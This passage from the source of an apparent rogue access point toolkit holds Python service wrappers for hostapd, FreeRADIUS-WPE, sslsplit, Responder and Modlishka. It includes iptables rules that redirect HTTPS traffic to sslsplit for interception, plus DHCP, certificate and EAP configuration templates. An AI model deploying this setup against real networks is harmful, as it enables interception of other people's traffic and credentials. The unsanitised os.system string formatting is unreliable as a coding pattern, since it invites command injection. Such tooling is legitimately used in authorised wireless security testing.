verbose=True): 84 | 85 | killname = os.path.basename(os.path.normpath(cls.bin_Killname)) 86 | os.system('for i in `pgrep %s`; do kill $i; done' % killname) 87 | 88 | if verbose: 89 | sleep_bar(cls.sleep_time, '[*] Killing all processes for: %s' % killname) 90 | else: 91 | time.sleep(cls.sleep_time) 92 | 93 | @classmethod 94 | def hardstart(cls, args='', background=True, verbose=True): 95 | 96 | if background: 97 | os.system('%s %s &' % (cls.bin_path, args)) 98 | else: 99 | os.system('%s %s' % (cls.bin_path, args)) 100 | 101 | if verbose: 102 | sleep_bar(cls.sleep_time, '[*] Starting process: %s' % cls.bin_path) 103 | else: 104 | time.sleep(cls.sleep_time) 105 | 106 | class NetworkManager(Service): 107 | 108 | service_name = config.network_manager 109 | bin_path = config.network_manager_bin 110 | sleep_time = config.network_manager_sleep 111 | 112 | class IscDhcpServer(Service): 113 | 114 | service_name = config.dhcp_server 115 | bin_path = config.dhcp_server_bin 116 | sleep_time = config.dhcp_server_sleep 117 | 118 | class Hostapd(Service): 119 | 120 | service_name = None 121 | bin_path = config.hostapd_bin 122 | sleep_time = config.hostapd_sleep 123 | 124 | class Freeradius(Service): 125 | 126 | service_name = None 127 | bin_path = config.freeradius_bin 128 | sleep_time = config.freeradius_sleep 129 | 130 | class Sslsplit(Service): 131 | 132 | service_name = None 133 | bin_path = config.sslsplit_bin 134 | sleep_time = config.sslsplit_sleep 135 | 136 | class Responder(Service): 137 | 138 | service_name = None 139 | bin_path = config.responder_bin 140 | bin_Killname = 'Responder' 141 | sleep_time = config.responder_sleep 142 | 143 | class Modlishka(Service): 144 | 145 | service_name = None 146 | bin_path = config.modlishka_bin 147 | sleep_time = config.generic_sleep 148 | 149 | class WPASupplicant(Service): 150 | 151 | service_name = config.wpa_supplicant 152 | bin_path = config.wpa_supplicant_bin 153 | sleep_time = config.wpa_supplicant_sleep 154 | 155 | def wlan_clean(iface, verbose=True): 156 | 157 | os.system('nmcli radio wifi off') 158 | os.system('rfkill unblock wlan') 159 | os.system('ifconfig %s up' % iface) 160 | if verbose: 161 | sleep_bar(config.wlan_clean_sleep, '[*] Reticulating radio frequency splines...') 162 | else: 163 | time.sleep(config.wlan_clean_sleep) 164 | 165 | class nmcli(object): 166 | 167 | @staticmethod 168 | def set_managed(iface): 169 | os.system('nmcli device set %s managed yes' % iface) 170 | sleep_bar(1, '[*] Reticulating radio frequency splines...') 171 | 172 | @staticmethod 173 | def set_unmanaged(iface): 174 | os.system('nmcli device set %s managed no' % iface) 175 | sleep_bar(1, '[*] Reticulating radio frequency splines...') 176 | 177 | def set_ipforward(value): 178 | 179 | with open(config.proc_ipforward, 'w') as fd: 180 | fd.write('%d' % int(value)) 181 | 182 | class Iptables(object): 183 | 184 | @staticmethod 185 | def accept_all(): 186 | os.system('iptables --policy INPUT ACCEPT') 187 | os.system('iptables --policy FORWARD ACCEPT') 188 | os.system('iptables --policy OUTPUT ACCEPT') 189 | 190 | @staticmethod 191 | def flush(table=None): 192 | if table is None: 193 | os.system('iptables -F') 194 | else: 195 | os.system('iptables -t %s -F' % table) 196 | 197 | @staticmethod 198 | def isc_dhcp_server_rules(addr, iface, iface2): 199 | 200 | os.system('iptables -t nat -A POSTROUTING -o %s -j MASQUERADE' % (iface2)) 201 | os.system('iptables -A FORWARD -i %s -o %s -m state --state RELATED,ESTABLISHED -j ACCEPT' % (iface2, iface)) 202 | os.system('iptables -A FORWARD -i %s -o %s -j ACCEPT' % (iface, iface2)) 203 | 204 | @staticmethod 205 | def sslsplit_rules(sslsplit_encrypted_port): 206 | os.system('iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports %d' % sslsplit_encrypted_port) 207 | 208 | def set_reg(): 209 | os.system('iw reg set 00') -------------------------------------------------------------------------------- /core/templates/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfamousSYN/rogue/56457d11e2699b1a656961b1aaddbd9bb4d433ae/core/templates/__init__.py -------------------------------------------------------------------------------- /core/templates/cert_templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | client_cnf = ''' 4 | 5 | 6 | [ ca ] 7 | default_ca = CA_default 8 | 9 | [ CA_default ] 10 | dir = ./ 11 | certs = $dir 12 | crl_dir = $dir/crl 13 | database = $dir/index.txt 14 | new_certs_dir = $dir 15 | certificate = $dir/server.pem 16 | serial = $dir/serial 17 | crl = $dir/crl.pem 18 | private_key = $dir/server.key 19 | RANDFILE = $dir/.rand 20 | name_opt = ca_default 21 | cert_opt = ca_default 22 | default_days = 365 23 | default_crl_days = 30 24 | default_md = sha256 25 | preserve = no 26 | policy = policy_match 27 | 28 | [ policy_match ] 29 | countryName = match 30 | stateOrProvinceName = match 31 | organizationName = match 32 | organizationalUnitName = optional 33 | commonName = supplied 34 | emailAddress = optional 35 | 36 | [ policy_anything ] 37 | countryName = optional 38 | stateOrProvinceName = optional 39 | localityName = optional 40 | organizationName = optional 41 | organizationalUnitName = optional 42 | commonName = supplied 43 | emailAddress = optional 44 | 45 | [ req ] 46 | prompt = no 47 | distinguished_name = client 48 | default_bits = 2048 49 | input_password = whatever 50 | output_password = whatever 51 | 52 | [client] 53 | countryName = %s 54 | stateOrProvinceName = %s 55 | localityName = %s 56 | organizationName = %s 57 | emailAddress = %s 58 | commonName = %s 59 | 60 | ''' 61 | 62 | 63 | ca_cnf = ''' 64 | 65 | [ ca ] 66 | default_ca = CA_default 67 | 68 | [ CA_default ] 69 | dir = ./ 70 | certs = $dir 71 | crl_dir = $dir/crl 72 | database = $dir/index.txt 73 | new_certs_dir = $dir 74 | certificate = $dir/ca.pem 75 | serial = $dir/serial 76 | crl = $dir/crl.pem 77 | private_key = $dir/ca.key 78 | RANDFILE = $dir/.rand 79 | name_opt = ca_default 80 | cert_opt = ca_default 81 | default_days = 365 82 | default_crl_days = 30 83 | default_md = sha256 84 | preserve = no 85 | policy = policy_match 86 | 87 | [ policy_match ] 88 | countryName = match 89 | stateOrProvinceName = match 90 | organizationName = match 91 | organizationalUnitName = optional 92 | commonName = supplied 93 | emailAddress = optional 94 | 95 | [ policy_anything ] 96 | countryName = optional 97 | stateOrProvinceName = optional 98 | localityName = optional 99 | organizationName = optional 100 | organizationalUnitName = optional 101 | commonName = supplied 102 | emailAddress = optional 103 | 104 | [ req ] 105 | prompt = no 106 | distinguished_name = certificate_authority 107 | default_bits = 2048 108 | input_password = whatever 109 | output_password = whatever 110 | x509_extensions = v3_ca 111 | 112 | [v3_ca] 113 | subjectKeyIdentifier = hash 114 | authorityKeyIdentifier = keyid:always,issuer:always 115 | basicConstraints = CA:true 116 | 117 | [certificate_authority] 118 | countryName = %s 119 | stateOrProvinceName = %s 120 | localityName = %s 121 | organizationName = %s 122 | emailAddress = %s 123 | commonName = %s 124 | ''' 125 | 126 | server_cnf = ''' 127 | 128 | [ ca ] 129 | default_ca = CA_default 130 | 131 | [ CA_default ] 132 | dir = ./ 133 | certs = $dir 134 | crl_dir = $dir/crl 135 | database = $dir/index.txt 136 | new_certs_dir = $dir 137 | certificate = $dir/server.pem 138 | serial = $dir/serial 139 | crl = $dir/crl.pem 140 | private_key = $dir/server.key 141 | RANDFILE = $dir/.rand 142 | name_opt = ca_default 143 | cert_opt = ca_default 144 | default_days = 365 145 | default_crl_days = 30 146 | default_md = sha256 147 | preserve = no 148 | policy = policy_match 149 | 150 | [ policy_match ] 151 | countryName = match 152 | stateOrProvinceName = match 153 | organizationName = match 154 | organizationalUnitName = optional 155 | commonName = supplied 156 | emailAddress = optional 157 | 158 | [ policy_anything ] 159 | countryName = optional 160 | stateOrProvinceName = optional 161 | localityName = optional 162 | organizationName = optional 163 | organizationalUnitName = optional 164 | commonName = supplied 165 | emailAddress = optional 166 | 167 | [ req ] 168 | prompt = no 169 | distinguished_name = server 170 | default_bits = 2048 171 | input_password = whatever 172 | output_password = whatever 173 | 174 | [server] 175 | countryName = %s 176 | stateOrProvinceName = %s 177 | localityName = %s 178 | organizationName = %s 179 | emailAddress = %s 180 | commonName = %s 181 | 182 | ''' -------------------------------------------------------------------------------- /core/templates/dhcpd_cnf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | default_dhcp = '''# Defaults for isc-dhcp-server (sourced by /etc/init.d/isc-dhcp-server) 4 | 5 | # Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf). 6 | DHCPDv4_CONF=%s 7 | #DHCPDv6_CONF=/etc/dhcp/dhcpd6.conf 8 | 9 | # Path to dhcpd's PID file (default: /var/run/dhcpd.pid). 10 | #DHCPDv4_PID=/var/run/dhcpd.pid 11 | #DHCPDv6_PID=/var/run/dhcpd6.pid 12 | 13 | # Additional options to start dhcpd with. 14 | # Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead 15 | #OPTIONS="" 16 | 17 | # On what interfaces should the DHCP server (dhcpd) serve DHCP requests? 18 | # Separate multiple interfaces with spaces, e.g. "eth0 eth1". 19 | INTERFACESv4="%s" 20 | #INTERFACESv6="" 21 | ''' 22 | 23 | dhcpd_cnf = '''# dhcpd.conf 24 | # 25 | # Sample configuration file for ISC dhcpd 26 | # 27 | 28 | # option definitions common to all supported networks... 29 | #option domain-name "example.org"; 30 | #option domain-name-servers ns1.example.org, ns2.example.org; 31 | 32 | default-lease-time %d; 33 | max-lease-time %d; 34 | 35 | # The ddns-updates-style parameter controls whether or not the server will 36 | # attempt to do a DNS update when a lease is confirmed. We default to the 37 | # behavior of the version 2 packages ('none', since DHCP v2 didn't 38 | # have support for DDNS.) 39 | #ddns-update-style none; 40 | 41 | # If this DHCP server is the official DHCP server for the local 42 | # network, the authoritative directive should be uncommented. 43 | authoritative; 44 | 45 | # Use this to send dhcp log messages to a different log file (you also 46 | # have to hack syslog.conf to complete the redirection). 47 | #log-facility local7; 48 | 49 | # No service will be given on this subnet, but declaring it helps the 50 | # DHCP server to understand the network topology. 51 | 52 | #subnet 10.152.187.0 netmask 255.255.255.0 { 53 | #} 54 | 55 | # This is a very basic subnet declaration. 56 | 57 | subnet %s netmask %s { 58 | range %s %s; 59 | option routers %s; 60 | option domain-name-servers %s; 61 | } 62 | 63 | # pushed routes 64 | option rfc3442-classless-static-routes code 121 = array of integer 8; 65 | option rfc3442-classless-static-routes 0, %s, 66 | %s, %s, %s; 67 | 68 | # This declaration allows BOOTP clients to get dynamic addresses, 69 | # which we don't really recommend.x 70 | 71 | #subnet 10.254.239.32 netmask 255.255.255.224 { 72 | # range dynamic-bootp 10.254.239.40 10.254.239.60; 73 | # option broadcast-address 10.254.239.31; 74 | # option routers rtr-239-32-1.example.org; 75 | #} 76 | 77 | # A slightly different configuration for an internal subnet. 78 | #subnet 10.5.5.0 netmask 255.255.255.224 { 79 | # range 10.5.5.26 10.5.5.30; 80 | # option domain-name-servers ns1.internal.example.org; 81 | # option domain-name "internal.example.org"; 82 | # option routers 10.5.5.1; 83 | # option broadcast-address 10.5.5.31; 84 | # default-lease-time 600; 85 | # max-lease-time 7200; 86 | #} 87 | 88 | # Hosts which require special configuration options can be listed in 89 | # host statements. If no address is specified, the address will be 90 | # allocated dynamically (if possible), but the host-specific information 91 | # will still come from the host declaration. 92 | 93 | #host passacaglia { 94 | # hardware ethernet 0:0:c0:5d:bd:95; 95 | # filename "vmunix.passacaglia"; 96 | # server-name "toccata.example.com"; 97 | #} 98 | 99 | # Fixed IP addresses can also be specified for hosts. These addresses 100 | # should not also be listed as being available for dynamic assignment. 101 | # Hosts for which fixed IP addresses have been specified can boot using 102 | # BOOTP or DHCP. Hosts for which no fixed address is specified can only 103 | # be booted with DHCP, unless there is an address range on the subnet 104 | # to which a BOOTP client is connected which has the dynamic-bootp flag 105 | # set. 106 | #host fantasia { 107 | # hardware ethernet 08:00:07:26:c0:a5; 108 | # fixed-address fantasia.example.com; 109 | #} 110 | 111 | # You can declare a class of clients and then do address allocation 112 | # based on that. The example below shows a case where all clients 113 | # in a certain class get addresses on the 10.17.224/24 subnet, and all 114 | # other clients get addresses on the 10.0.29/24 subnet. 115 | 116 | #class "foo" { 117 | # match if substring (option vendor-class-identifier, 0, 4) = "SUNW"; 118 | #} 119 | 120 | #shared-network 224-29 { 121 | # subnet 10.17.224.0 netmask 255.255.255.0 { 122 | # option routers rtr-224.example.org; 123 | # } 124 | # subnet 10.0.29.0 netmask 255.255.255.0 { 125 | # option routers rtr-29.example.org; 126 | # } 127 | # pool { 128 | # allow members of "foo"; 129 | # range 10.17.224.10 10.17.224.250; 130 | # } 131 | # pool { 132 | # deny members of "foo"; 133 | # range 10.0.29.10 10.0.29.230; 134 | # } 135 | #} 136 | 137 | ''' -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_all.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | freeradius_eap_all = ''' 4 | md5 { 5 | } 6 | 7 | # 8 | # EAP-pwd -- secure password-based authentication 9 | # 10 | pwd { 11 | group = 19 12 | 13 | # 14 | server_id = theserver@example.com 15 | 16 | # This has the same meaning as for TLS. 17 | fragment_size = 1020 18 | 19 | # The virtual server which determines the 20 | # "known good" password for the user. 21 | # Note that unlike TLS, only the "authorize" 22 | # section is processed. EAP-PWD requests can be 23 | # distinguished by having a User-Name, but 24 | # no User-Password, CHAP-Password, EAP-Message, etc. 25 | virtual_server = "inner-tunnel" 26 | } 27 | 28 | # Cisco LEAP 29 | # 30 | # We do not recommend using LEAP in new deployments. See: 31 | # http://www.securiteam.com/tools/5TP012ACKE.html 32 | # 33 | # Cisco LEAP uses the MS-CHAP algorithm (but not 34 | # the MS-CHAP attributes) to perform it's authentication. 35 | # 36 | # As a result, LEAP *requires* access to the plain-text 37 | # User-Password, or the NT-Password attributes. 38 | # 'System' authentication is impossible with LEAP. 39 | # 40 | leap { 41 | } 42 | 43 | # Generic Token Card. 44 | # 45 | # Currently, this is only permitted inside of EAP-TTLS, 46 | # or EAP-PEAP. The module "challenges" the user with 47 | # text, and the response from the user is taken to be 48 | # the User-Password. 49 | # 50 | # Proxying the tunneled EAP-GTC session is a bad idea, 51 | # the users password will go over the wire in plain-text, 52 | # for anyone to see. 53 | # 54 | gtc { 55 | # The default challenge, which many clients 56 | # ignore.. 57 | #challenge = "Password: " 58 | 59 | # The plain-text response which comes back 60 | # is put into a User-Password attribute, 61 | # and passed to another module for 62 | # authentication. This allows the EAP-GTC 63 | # response to be checked against plain-text, 64 | # or crypt'd passwords. 65 | # 66 | # If you say "Local" instead of "PAP", then 67 | # the module will look for a User-Password 68 | # configured for the request, and do the 69 | # authentication itself. 70 | # 71 | auth_type = PAP 72 | } 73 | 74 | ## Common TLS configuration for TLS-based EAP types 75 | # 76 | # See raddb/certs/README for additional comments 77 | # on certificates. 78 | # 79 | # If OpenSSL was not found at the time the server was 80 | # built, the "tls", "ttls", and "peap" sections will 81 | # be ignored. 82 | # 83 | # If you do not currently have certificates signed by 84 | # a trusted CA you may use the 'snakeoil' certificates. 85 | # Included with the server in raddb/certs. 86 | # 87 | # If these certificates have not been auto-generated: 88 | # cd raddb/certs 89 | # make 90 | # 91 | # These test certificates SHOULD NOT be used in a normal 92 | # deployment. They are created only to make it easier 93 | # to install the server, and to perform some simple 94 | # tests with EAP-TLS, TTLS, or PEAP. 95 | # 96 | # See also: 97 | # 98 | # http://www.dslreports.com/forum/remark,9286052~mode=flat 99 | # 100 | # Note that you should NOT use a globally known CA here! 101 | # e.g. using a Verisign cert as a "known CA" means that 102 | # ANYONE who has a certificate signed by them can 103 | # authenticate via EAP-TLS! This is likely not what you want. 104 | tls-config tls-common { 105 | private_key_password = %s 106 | private_key_file = %s 107 | 108 | # If Private key & Certificate are located in 109 | # the same file, then private_key_file & 110 | # certificate_file must contain the same file 111 | # name. 112 | # 113 | # If ca_file (below) is not used, then the 114 | # certificate_file below MUST include not 115 | # only the server certificate, but ALSO all 116 | # of the CA certificates used to sign the 117 | # server certificate. 118 | certificate_file = %s 119 | 120 | # Trusted Root CA list 121 | # 122 | # ALL of the CA's in this list will be trusted 123 | # to issue client certificates for authentication. 124 | # 125 | # In general, you should use self-signed 126 | # certificates for 802.1x (EAP) authentication. 127 | # In that case, this CA file should contain 128 | # *one* CA certificate. 129 | # 130 | ca_file = %s 131 | 132 | # OpenSSL will automatically create certificate chains, 133 | # unless we tell it to not do that. The problem is that 134 | # it sometimes gets the chains right from a certificate 135 | # signature view, but wrong from the clients view. 136 | # 137 | # When setting "auto_chain = no", the server certificate 138 | # file MUST include the full certificate chain. 139 | # auto_chain = yes 140 | 141 | # 142 | # If OpenSSL supports TLS-PSK, then we can use 143 | # a PSK identity and (hex) password. When the 144 | # following two configuration items are specified, 145 | # then certificate-based configuration items are 146 | # not allowed. e.g.: 147 | # 148 | # private_key_password 149 | # private_key_file 150 | # certificate_file 151 | # ca_file 152 | # ca_path 153 | # 154 | # For now, the identity is fixed, and must be the 155 | # same on the client. The passphrase must be a hex 156 | # value, and can be up to 256 hex digits. 157 | # 158 | # Future versions of the server may be able to 159 | # look up the shared key (hexphrase) based on the 160 | # identity. 161 | # 162 | # psk_identity = "test" 163 | # psk_hexphrase = "036363823" 164 | 165 | # 166 | # For DH cipher suites to work, you have to 167 | # run OpenSSL to create the DH file first: 168 | # 169 | # openssl dhparam -out certs/dh 2048 170 | # 171 | dh_file = %s 172 | 173 | # 174 | # If your system doesn't have /dev/urandom, 175 | # you will need to create this file, and 176 | # periodically change its contents. 177 | # 178 | # For security reasons, FreeRADIUS doesn't 179 | # write to files in its configuration 180 | # directory. 181 | # 182 | # random_file = /dev/urandom 183 | 184 | # 185 | # This can never exceed the size of a RADIUS 186 | # packet (4096 bytes), and is preferably half 187 | # that, to accommodate other attributes in 188 | # RADIUS packet. On most APs the MAX packet 189 | # length is configured between 1500 - 1600 190 | # In these cases, fragment size should be 191 | # 1024 or less. 192 | # 193 | # fragment_size = 1024 194 | 195 | # include_length is a flag which is 196 | # by default set to yes If set to 197 | # yes, Total Length of the message is 198 | # included in EVERY packet we send. 199 | # If set to no, Total Length of the 200 | # message is included ONLY in the 201 | # First packet of a fragment series. 202 | # 203 | # include_length = yes 204 | 205 | 206 | # Check the Certificate Revocation List 207 | # 208 | # 1) Copy CA certificates and CRLs to same directory. 209 | # 2) Execute 'c_rehash '. 210 | # 'c_rehash' is OpenSSL's command. 211 | # 3) uncomment the lines below. 212 | # 5) Restart radiusd 213 | # check_crl = yes 214 | 215 | # Check if intermediate CAs have been revoked. 216 | # check_all_crl = yes 217 | 218 | ca_path = %s 219 | 220 | # 221 | # If check_cert_issuer is set, the value will 222 | # be checked against the DN of the issuer in 223 | # the client certificate. If the values do not 224 | # match, the certificate verification will fail, 225 | # rejecting the user. 226 | # 227 | # In 2.1.10 and later, this check can be done 228 | # more generally by checking the value of the 229 | # TLS-Client-Cert-Issuer attribute. This check 230 | # can be done via any mechanism you choose. 231 | # 232 | # check_cert_issuer = "/C=GB/ST=Berkshire/L=Newbury/O=My Company Ltd" 233 | 234 | # 235 | # If check_cert_cn is set, the value will 236 | # be xlat'ed and checked against the CN 237 | # in the client certificate. If the values 238 | # do not match, the certificate verification 239 | # will fail rejecting the user. 240 | # 241 | # This check is done only if the previous 242 | # "check_cert_issuer" is not set, or if 243 | # the check succeeds. 244 | # 245 | # In 2.1.10 and later, this check can be done 246 | # more generally by checking the value of the 247 | # TLS-Client-Cert-CN attribute. This check 248 | # can be done via any mechanism you choose. 249 | # 250 | # check_cert_cn = [[User-Name]] 251 | # 252 | # Set this option to specify the allowed 253 | # TLS cipher suites. The format is listed 254 | # in "man 1 ciphers". 255 | # 256 | # For EAP-FAST, use "ALL:!EXPORT:!eNULL:!SSLv2" 257 | # 258 | cipher_list = "DEFAULT" 259 | 260 | # If enabled, OpenSSL will use server cipher list 261 | # (possibly defined by cipher_list option above) 262 | # for choosing right cipher suite rather than 263 | # using client-specified list which is OpenSSl default 264 | # behavior. Having it set to yes is a current best practice 265 | # for TLS 266 | cipher_server_preference = no 267 | 268 | # Work-arounds for OpenSSL nonsense 269 | # OpenSSL 1.0.1f and 1.0.1g do not calculate 270 | # the EAP keys correctly. The fix is to upgrade 271 | # OpenSSL, or disable TLS 1.2 here. 272 | # 273 | # For EAP-FAST, this MUST be set to "yes". 274 | # 275 | # disable_tlsv1_2 = no 276 | 277 | # 278 | 279 | # 280 | # Elliptical cryptography configuration 281 | # 282 | # Only for OpenSSL >= 0.9.8.f 283 | # 284 | ecdh_curve = "prime256v1" 285 | 286 | # 287 | # Session resumption / fast reauthentication 288 | # cache. 289 | # 290 | # The cache contains the following information: 291 | # 292 | # session Id - unique identifier, managed by SSL 293 | # User-Name - from the Access-Accept 294 | # Stripped-User-Name - from the Access-Request 295 | # Cached-Session-Policy - from the Access-Accept 296 | # 297 | # The "Cached-Session-Policy" is the name of a 298 | # policy which should be applied to the cached 299 | # session. This policy can be used to assign 300 | # VLANs, IP addresses, etc. It serves as a useful 301 | # way to re-apply the policy from the original 302 | # Access-Accept to the subsequent Access-Accept 303 | # for the cached session. 304 | # 305 | # On session resumption, these attributes are 306 | # copied from the cache, and placed into the 307 | # reply list. 308 | # 309 | # You probably also want "use_tunneled_reply = yes" 310 | # when using fast session resumption. 311 | # 312 | cache { 313 | # 314 | # Enable it. The default is "no". Deleting the entire "cache" 315 | # subsection also disables caching. 316 | # 317 | # You can disallow resumption for a particular user by adding the 318 | # following attribute to the control item list: 319 | # 320 | # Allow-Session-Resumption = No 321 | # 322 | # If "enable = no" below, you CANNOT enable resumption for just one 323 | # user by setting the above attribute to "yes". 324 | # 325 | enable = yes 326 | 327 | # 328 | # Lifetime of the cached entries, in hours. The sessions will be 329 | # deleted/invalidated after this time. 330 | # 331 | lifetime = 24 # hours 332 | 333 | # 334 | # The maximum number of entries in the 335 | # cache. Set to "0" for "infinite". 336 | # 337 | # This could be set to the number of users 338 | # who are logged in... which can be a LOT. 339 | # 340 | max_entries = 255 341 | 342 | # 343 | # Internal "name" of the session cache. Used to 344 | # distinguish which TLS context sessions belong to. 345 | # 346 | # The server will generate a random value if unset. 347 | # This will change across server restart so you MUST 348 | # set the "name" if you want to persist sessions (see 349 | # below). 350 | # 351 | #name = "EAP module" 352 | 353 | # 354 | # Simple directory-based storage of sessions. 355 | # Two files per session will be written, the SSL 356 | # state and the cached VPs. This will persist session 357 | # across server restarts. 358 | # 359 | # The server will need write perms, and the directory 360 | # should be secured from anyone else. You might want 361 | # a script to remove old files from here periodically: 362 | # 363 | # 364 | # This feature REQUIRES "name" option be set above. 365 | # 366 | #persist_dir = "/var/log/freeradius-wpe/tlscache" 367 | } 368 | 369 | # 370 | # As of version 2.1.10, client certificates can be 371 | # validated via an external command. This allows 372 | # dynamic CRLs or OCSP to be used. 373 | # 374 | # This configuration is commented out in the 375 | # default configuration. Uncomment it, and configure 376 | # the correct paths below to enable it. 377 | # 378 | # If OCSP checking is enabled, and the OCSP checks fail, 379 | # the verify section is not run. 380 | # 381 | # If OCSP checking is disabled, the verify section is 382 | # run on successful certificate validation. 383 | # 384 | verify { 385 | # If the OCSP checks succeed, the verify section 386 | # is run to allow additional checks. 387 | # 388 | # If you want to skip verify on OCSP success, 389 | # uncomment this configuration item, and set it 390 | # to "yes". 391 | # skip_if_ocsp_ok = no 392 | 393 | # A temporary directory where the client 394 | # certificates are stored. This directory 395 | # MUST be owned by the UID of the server, 396 | # and MUST not be accessible by any other 397 | # users. When the server starts, it will do 398 | # "chmod go-rwx" on the directory, for 399 | # security reasons. The directory MUST 400 | # exist when the server starts. 401 | # 402 | # You should also delete all of the files 403 | # in the directory when the server starts. 404 | # tmpdir = /tmp/radiusd 405 | 406 | # The command used to verify the client cert. 407 | # We recommend using the OpenSSL command-line 408 | # tool. 409 | # 410 | # The ca_path text is a reference to 411 | # the ca_path variable defined above. 412 | # 413 | # The [[TLS-Client-Cert-Filename]] is the name 414 | # of the temporary file containing the cert 415 | # in PEM format. This file is automatically 416 | # deleted by the server when the command 417 | # returns. 418 | # client = "/path/to/openssl verify -CApath /etc/freeradius-wpe/3.0/certs [[TLS-Client-Cert-Filename]]" 419 | } 420 | 421 | # 422 | # OCSP Configuration 423 | # Certificates can be verified against an OCSP 424 | # Responder. This makes it possible to immediately 425 | # revoke certificates without the distribution of 426 | # new Certificate Revocation Lists (CRLs). 427 | # 428 | ocsp { 429 | # 430 | # Enable it. The default is "no". 431 | # Deleting the entire "ocsp" subsection 432 | # also disables ocsp checking 433 | # 434 | enable = no 435 | 436 | # 437 | # The OCSP Responder URL can be automatically 438 | # extracted from the certificate in question. 439 | # To override the OCSP Responder URL set 440 | # "override_cert_url = yes". 441 | # 442 | override_cert_url = yes 443 | 444 | # 445 | # If the OCSP Responder address is not extracted from 446 | # the certificate, the URL can be defined here. 447 | # 448 | url = "http://127.0.0.1/ocsp/" 449 | 450 | # 451 | # If the OCSP Responder can not cope with nonce 452 | # in the request, then it can be disabled here. 453 | # 454 | # For security reasons, disabling this option 455 | # is not recommended as nonce protects against 456 | # replay attacks. 457 | # 458 | # Note that Microsoft AD Certificate Services OCSP 459 | # Responder does not enable nonce by default. It is 460 | # more secure to enable nonce on the responder than 461 | # to disable it in the query here. 462 | # 463 | # use_nonce = yes 464 | 465 | # 466 | # Number of seconds before giving up waiting 467 | # for OCSP response. 0 uses system default. 468 | # 469 | # timeout = 0 470 | 471 | # 472 | # Normally an error in querying the OCSP 473 | # responder (no response from server, server did 474 | # not understand the request, etc) will result in 475 | # a validation failure. 476 | # 477 | # To treat these errors as 'soft' failures and 478 | # still accept the certificate, enable this 479 | # option. 480 | # 481 | # Warning: this may enable clients with revoked 482 | # certificates to connect if the OCSP responder 483 | # is not available. Use with caution. 484 | # 485 | # softfail = no 486 | } 487 | } 488 | 489 | ## EAP-TLS 490 | # 491 | # As of Version 3.0, the TLS configuration for TLS-based 492 | # EAP types is above in the "tls-config" section. 493 | # 494 | tls { 495 | # Point to the common TLS configuration 496 | tls = tls-common 497 | 498 | # 499 | # As part of checking a client certificate, the EAP-TLS 500 | # sets some attributes such as TLS-Client-Cert-CN. This 501 | # virtual server has access to these attributes, and can 502 | # be used to accept or reject the request. 503 | # 504 | # virtual_server = check-eap-tls 505 | } 506 | 507 | 508 | ## EAP-TTLS 509 | # 510 | # The TTLS module implements the EAP-TTLS protocol, 511 | # which can be described as EAP inside of Diameter, 512 | # inside of TLS, inside of EAP, inside of RADIUS... 513 | # 514 | # Surprisingly, it works quite well. 515 | # 516 | ttls { 517 | # Which tls-config section the TLS negotiation parameters 518 | # are in - see EAP-TLS above for an explanation. 519 | # 520 | # In the case that an old configuration from FreeRADIUS 521 | # v2.x is being used, all the options of the tls-config 522 | # section may also appear instead in the 'tls' section 523 | # above. If that is done, the tls= option here (and in 524 | # tls above) MUST be commented out. 525 | # 526 | tls = tls-common 527 | 528 | # The tunneled EAP session needs a default EAP type 529 | # which is separate from the one for the non-tunneled 530 | # EAP module. Inside of the TTLS tunnel, we recommend 531 | # using EAP-MD5. If the request does not contain an 532 | # EAP conversation, then this configuration entry is 533 | # ignored. 534 | # 535 | default_eap_type = md5 536 | 537 | # The tunneled authentication request does not usually 538 | # contain useful attributes like 'Calling-Station-Id', 539 | # etc. These attributes are outside of the tunnel, 540 | # and normally unavailable to the tunneled 541 | # authentication request. 542 | # 543 | # By setting this configuration entry to 'yes', 544 | # any attribute which is NOT in the tunneled 545 | # authentication request, but which IS available 546 | # outside of the tunnel, is copied to the tunneled 547 | # request. 548 | # 549 | # allowed values: {no, yes} 550 | # 551 | copy_request_to_tunnel = no 552 | 553 | # 554 | # As of version 3.0.5, this configuration item 555 | # is deprecated. Instead, you should use 556 | # 557 | # update outer.session-state { 558 | # ... 559 | # 560 | # } 561 | # 562 | # This will cache attributes for the final Access-Accept. 563 | # 564 | # The reply attributes sent to the NAS are usually 565 | # based on the name of the user 'outside' of the 566 | # tunnel (usually 'anonymous'). If you want to send 567 | # the reply attributes based on the user name inside 568 | # of the tunnel, then set this configuration entry to 569 | # 'yes', and the reply to the NAS will be taken from 570 | # the reply to the tunneled request. 571 | # 572 | # allowed values: {no, yes} 573 | # 574 | use_tunneled_reply = no 575 | 576 | # 577 | # The inner tunneled request can be sent 578 | # through a virtual server constructed 579 | # specifically for this purpose. 580 | # 581 | # If this entry is commented out, the inner 582 | # tunneled request will be sent through 583 | # the virtual server that processed the 584 | # outer requests. 585 | # 586 | virtual_server = "inner-tunnel" 587 | 588 | # This has the same meaning, and overwrites, the 589 | # same field in the "tls" configuration, above. 590 | # The default value here is "yes". 591 | # 592 | # include_length = yes 593 | 594 | # 595 | # Unlike EAP-TLS, EAP-TTLS does not require a client 596 | # certificate. However, you can require one by setting the 597 | # following option. You can also override this option by 598 | # setting 599 | # 600 | # EAP-TLS-Require-Client-Cert = Yes 601 | # 602 | # in the control items for a request. 603 | # 604 | # require_client_cert = yes 605 | } 606 | 607 | 608 | ## EAP-PEAP 609 | # 610 | 611 | ################################################## 612 | # 613 | # !!!!! WARNINGS for Windows compatibility !!!!! 614 | # 615 | ################################################## 616 | # 617 | # If you see the server send an Access-Challenge, 618 | # and the client never sends another Access-Request, 619 | # then 620 | # 621 | # STOP! 622 | # 623 | # The server certificate has to have special OID's 624 | # in it, or else the Microsoft clients will silently 625 | # fail. See the "scripts/xpextensions" file for 626 | # details, and the following page: 627 | # 628 | # http://support.microsoft.com/kb/814394/en-us 629 | # 630 | # For additional Windows XP SP2 issues, see: 631 | # 632 | # http://support.microsoft.com/kb/885453/en-us 633 | # 634 | # 635 | # If is still doesn't work, and you're using Samba, 636 | # you may be encountering a Samba bug. See: 637 | # 638 | # https://bugzilla.samba.org/show_bug.cgi?id=6563 639 | # 640 | # Note that we do not necessarily agree with their 641 | # explanation... but the fix does appear to work. 642 | # 643 | 